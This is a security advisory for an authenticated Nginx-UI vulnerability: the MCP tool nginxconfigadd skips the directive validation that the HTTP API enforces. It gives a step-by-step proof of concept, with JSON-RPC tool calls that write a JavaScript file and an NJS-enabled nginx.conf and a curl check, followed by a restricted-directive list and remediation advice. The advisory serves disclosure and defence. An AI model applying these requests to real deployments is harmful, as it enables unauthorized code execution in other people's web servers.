GHSA-5r62-gj48-897x: High severity go/github.com/0xJacky/Nginx-UI vulnerability
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:
bash find / -name "ngxhttpjsmodule.so" 2>/dev/null
Observed in the lab:
text /usr/lib/nginx/modules/ngxhttpjsmodule.so
1. HTTP API blocks the restricted config
Request:
http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json
Body:
json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }
Observed result:
text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.
2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }
3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }
4. Verify NJS execution
Inside the Nginx UI container:
bash curl -i http://127.0.0.1:18249/poc
Observed response:
http HTTP/1.1 200 OK
MCPNJSMARKER
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
- loadmodule - jsimport - jscontent - jsset - perlset - user root
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260703131214-23d1934099b0 - Configuration
Ensure MCP configuration tools invoke ValidateConfigFile(path, content) before configuration writes and share the same restricted-directive validation tests as the HTTP API, including validation for load_module, js_import, and js_content.
MCP configuration interface configuration validation before MCP writes = Apply ValidateConfigFile(path, content) and reject restricted directives
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Exposure requires the MCP interface to be enabled and accessible to a secondary authenticated Nginx UI user. Exploitation also requires Nginx to have the NJS module available, such as ngx_http_js_module.so.
What level of access does an attacker need?
An attacker needs a secondary authenticated Nginx UI account. No user interaction is required after authentication.
What can an attacker do through the bypass?
The attacker can submit and apply restricted configuration content through MCP, load the NJS module, and run attacker-controlled JavaScript in the Nginx worker context. This can alter runtime behavior such as responses, routing, headers, redirects, and request handling.
Does this directly provide operating-system command execution?
No. The documented impact is execution of NJS in the Nginx worker context, and it is explicitly not OS command execution by itself.
Are the HTTP configuration API restrictions sufficient protection?
No. Although the regular HTTP configuration API rejects directives including load_module, js_import, and js_content, the MCP configuration interface can be used to write and apply equivalent restricted content.